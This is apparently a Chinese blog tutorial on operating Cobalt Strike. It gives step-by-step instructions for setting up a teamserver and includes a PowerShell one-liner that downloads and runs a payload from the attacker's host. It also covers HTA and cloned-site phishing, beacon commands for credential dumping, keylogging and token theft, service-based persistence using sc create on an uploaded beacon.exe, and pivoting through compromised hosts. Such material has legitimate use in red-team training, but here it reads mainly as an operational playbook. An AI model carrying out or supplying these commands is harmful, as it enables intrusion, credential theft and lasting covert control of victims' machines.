Cobalt-Strike使用
CS初始化
将CS的安装包解压到kali上,CS是通过Java写的,具有跨平台性,但是需要通过teamserver的启动器去启动,而不能直接jar启动
启动CS
# 进入文件后,修改权限
chmod 777 ./*
# 添加服务端的IP和密码,多人协作则是公网IP,端口默认在50050
./teamserver 192.168.223.131 123456
# 启动CS,需要保持teamserver一直启动
./cobaltstrike
基本Beacon操作
简单的进行渗透
1.新建Listeners
Cobalt Strike--->Listeners--->Add--->填入Name、Host、设置Payload类型--->save
2.payload设置
Attack--->Web Drive-by--->Scripted Web Delivery(s)--->选择Listener,类型和是否是64位的payload,获取payload
3.payload生效
选择powershell和64位,打开目标机,在其cmd或者powershell上输入payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.131:80/a'))"
一些选项
external-->外网IP
internal-->内网IP
listener-->监听者
user-->用户
computer-->计算机名
process-->执行程序的名字
pid-->执行程序的pid
与beacon(肉鸡)进行互动,系统命令前需要加shell,默认回连60s(心跳时间)
右键--->interact--->shell whoami
CS模块介绍
Cobalt Strike
New Connection-->打开新的connect窗口(新建一个连接)
Preferences-->首选项
Visualization-->将主机以不同形式展示(权限执行结果)
VPN Interfaces-->设置VPN接口(多重渗透)
Listeners-->创建监听器
Script Manager-->查看自己写的脚本并加载
View
applicationss-->被控电脑的应用信息
Credentials-->通过hash dump或者mimikatz获取的密码的保存位置
Downloads-->从被控电脑下载的文件保存位置
Event Log-->主机的上线记录
Keystrokes-->键盘记录
ProxyPivots-->代理模块
Screenshots-->截图
Script Console-->执行自己的脚本的控制台
Targets-->显示目标
Web Log-->显示web日志
Attack
Packages
HTML Application-->基于HTML应用的攻击载荷
MS Office Macro-->Office宏攻击
Payload Generator-->payload生成器,可以生成源码自己执行或修改
Windows Executable-->生成Windows上的32/64位exe或dll的后门程序
Windows Executable(S)-->生成Windows的可执行文件,包含完整的payload,不需要阶段性请求,多用于内网环境下设置,支持power shell脚本和代理
Web Drive-by
Manage-->管理器,对上线肉鸡进行管理
Clone Site-->克隆指定网站的样式
Host File-->将指定文件夹加载到web
Scripted Web Delivery(S)-->Web攻击模块
Signed Applet Attack-->钓鱼程序
Smart Applet Attack-->Java跨平台浏览器的攻击,可禁用Java的安全沙盒
System Profiler-->客户端检测工具
Spear Phish-->钓鱼模块
Reporting
配合Cobalt Strike生成的报告
Help
工具栏
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
beacon功能
生成EXE程序,让目标执行即可
Attacks-->Packages-->Windwos Executable(S)
用户执行后,右键的选项为后渗透模块
# Interact--->打开互动界面(cmd),通过help可以查看beacon支持的命令
execute notepad--->后台运行记事本
powerpick mkdir 123--->不通过powershell执行命令
powershell-import ./xxx.ps1--->将powershell加载到内存,然后使用powershell加载执行powershell脚本
# Access
Dump Hashes--->获取密码的hash值
Elevate--->提权
Make Token--->模拟指定用户操作,制作令牌
Run Mimikatz--->使用猕猴桃获取密码(因系统而异)
# Explore
Brower Pivot--->劫持IE浏览器,在目标主机开代理,利用本机浏览器劫持目标Cookie实现免密登陆
Desktop(VNC)--->开启VNC窗口
File Browser--->显示文件层次
Net View-->查看内网中主机的共享域
Port Scan--->扫描端口
Process List--->查看当前进程信息,并进行操作(结束、刷新、键盘记录、注入进程……)
Screenshot--->截图
# Pivoting
SOCKS Server--->建立Socks代理(可以在View-->Proxy Pivots中查看),使用Tunnel中的命令可以在使用msf时将流量从此代理引入
Listener--->设置内网监听
# Spawn--->模块派发shell,在知道账号密码情况下可以将此shell派发给其他攻击者
# Session
Note--->添加备注
Remove--->从列表中移除(一般是Exit后Remove)
Sleep--->设置心跳时间
Exit--->目标离线
Interact中beacon的全部支持的命令
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
**getprivs 获取当前beacon中包含的所有权限,相当于shell whoami /priv**
**getsystem 尝试获取SYSTEM权限**
**getuid 获取当前用户是什么权限**
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
**sleep 设置睡眠延迟时间**
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
有关域的net命令
net localgroup-->添加、显示或更改本地组
net computer-->从域数据库中添加或删除计算机
net dclist-->查看域控
net domain_trusts-->查看域信任
net logons-->当前正在登陆的用户
net share-->查看共享
Windows权限:guest<user<administrator<system<TrustedInstaller
aggresor脚本
.cna
结尾,Aggressor Script,Sleep语言编写,通过sleep语言可以对Cobalt Strike进行二次开发
Sleep是一个可以嵌入到Java应用程序的脚本语言。Sleep简单,易学,易使用,易与程序结合。它的语言语法类似于Perl脚本。Sleep脚本可访问,创建,查询Java对象,解析过的脚本可被序列化
数据定义
# 解释器在 View-->Script Console中
$ = 定义变量
@ = 定义数组
% = 字典
e-->定义
x-->输出
load-->加载文件(CS中只能加载一次,在jar中可多次执行,通过它来执行程序查看结果)
reload-->重加载,加载的是已加载的cna文件,不带路径
ls-->查看加载的文件
# 下载sleep.jar并运行
java -jar sleep.jar
# 声明数组
@array = @('a1','a2',666);
println(@array[1]);
# 遍历
array = @('a1','a2',666);
foreach $var (@array){
println($var);
}
# 字典全输出
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("%dict is ".%dict);
//dict is %(key1 => 'value1', key2 => 'value2', 1 => 'value3')
# 字典输出某一个值
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("dict is ".%dict);
//dict is value2
交互式函数
# 输出内容
println("haha nihao");
# 加载快速指令,command后面为快捷键
command w{
println("You click w");
}
//reload后,按下w,将输出You click w
# 定义函数和快捷键,按下f1同时跟上一个参数会加载fun1函数并带上参数
sub fun1{
println("run fun1!!!now $1");
}
command f1{
fun1($1);
}
//f1 xiaoming--->run fun1!!!now xiaoming
c2客户端
在此编写的内容将直接影响Cobalt Strike界面和快捷键
# 绑定键盘快捷键
bind Ctrl+O{
show_message("This is a alert");
elog("I am log");
}
//按下Ctrl+O将会出现This is a alert,同时在Event Log里面出现I am log
# 编写最上面的菜单
popup menu1{
item("&item1",{url_open("http://www.baidu.com")});
separator();
item("&item2",{url_open("http://www.cctv.com")});
}
menubar("My menu","menu1");
//在Cobalt Strike上面创建一个名为My menu的菜单,其中有两个按钮item1和item2,分别打开baidu和cctv,menubar是接收菜单的函数,item是其中的按钮
# 在beacon中创建菜单
popup beacon_bottom{
menu "attack"{
item("&item1",{url_open("http://www.baidu.com")});
item("&item2",{show_message("yes")})
}
}
//在右键的beacon中出现attack选项,有item1和item2两个按钮,分别打开百度和弹窗yes
可以上Github下载大佬的cna代码,load进去即可;或者下载后学习如何编写
c2中所有的数据模型
target 存储的目标信息 显示上线过的主机信息
archives 显示最近的信息 显示最近的输出信息
beacons 显示所有的受感染的主机信息 显示在线和上线过的主机
credentials 显示凭据信息 我们抓取过的密码信息和制作的票据信息
downloads 显示下载信息 显示我们在受控端下载的信息
keystrokes 记录键盘输入 当我们选择进程记录键盘的时候,会将得到的键盘信息记录下来
screenshots 屏幕截图显示 显示我们截图的二进制信息流
sites 托管的资产 看起来是我们创建的监听的端口个Stager回连的端口
通过协同aggressor的结果写程序
# 显示目标的数据,其数据是@(%())的形式,即外面数组,包着字典
x targets()
# 单独索引想要的数据
x targets()[0]['name']
# 打印所有的监听器
printAll(listeners());
# 显示被感染主机更详细信息(挂马的信息)
x beacons()
# 通过showme快捷键查看第一个主机的IP和OS
command showme{
println("IP address is: ".targets()[$1]["address"]."\n OS is: ".targets()[$1]["os"]);
}
HTML Application和clonesite
HTML Application
# 生成hta文件
Packages-->HTML Application,生成evil.hta,可以在网页上加载它
# 生成地址
Attacks-->Web Drive-by-->Host File,将Local URI也改成evil.hta
http://192.168.223.131:80/download/evil.hta
# 让目标访问此页面,会弹出文件操作,可以对其进行静默操作后台打开,可以上线
clonesite
# 克隆网站,如果在内网可以配合ARP,出现伪造网页
Attack-->Web Drive-by-->Clone Site,填入克隆网站为http://www.baidu.com,保存地址为bd,Attack选择evil,然后可以根据需要选择是否需要键盘记录
http://192.168.223.131:80/bd
# 目标点开假百度后弹出下载文件,后续同上
服务权限维持
控制对方后,文件保存在内存中,无法删除且重启消失,迟早被发现,要做持久化
1.生成exe文件
Attacks—>Packages—>Windows Executable(S)—>设置监听,Windows Service EXE,Use x64 payload
2.上传文件
在Beacon界面进入 C:\windows\temp
目录,上次木马 upload /root/beacon.exe
3.服务关联
shell sc create "thisserver" binpath=c:\windows\temp\beacon.exe
前面是服务名后面是服务主程序路径
4.服务伪装
shell description "thisserver" "zhe shi fu wu"
前面是服务名后面是服务描述
5.设置服务自启动
shell sc config "thisserver" start=auto
6.服务启动
shell net start "thisserver"
多层连接
多层正向连接
黑客在外网的IP在内网中由于没有路由,无法进入内部服务器,需要通过外网的服务器作为中介找到内网服务器
hack(192.168.1.186)——(192.168.1.231)server1(172.16.214.140)——(172.16.214.141)server2
1.设置监听器
在原有控制的监听器基础上——Add——Beacon TCP,取名server1
2.在server1的监听上生成木马文件
Attacks—>Packages—>Windows Executable(S)——>选择server1监听,Windows Service EXE,Use x64 payload,生成木马
3.正向连接
让内网目标执行,使用server1作为中间人正向连接
connect 172.16.214.141
多层反向连接
反向连接规避防火墙,防火墙会进行追杀
1.设置监听器
对中间人右键—>Pivoting—>Listener,取名server1,中间人的server1可以作为黑客的转发器
2.生成木马文件
Attacks—>Packages—>Windows Executable(S)—>选择server1监听,Windows Service EXE,Use x64 payload,生成木马
3.发送到目标主机即可反向连接
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16056428.html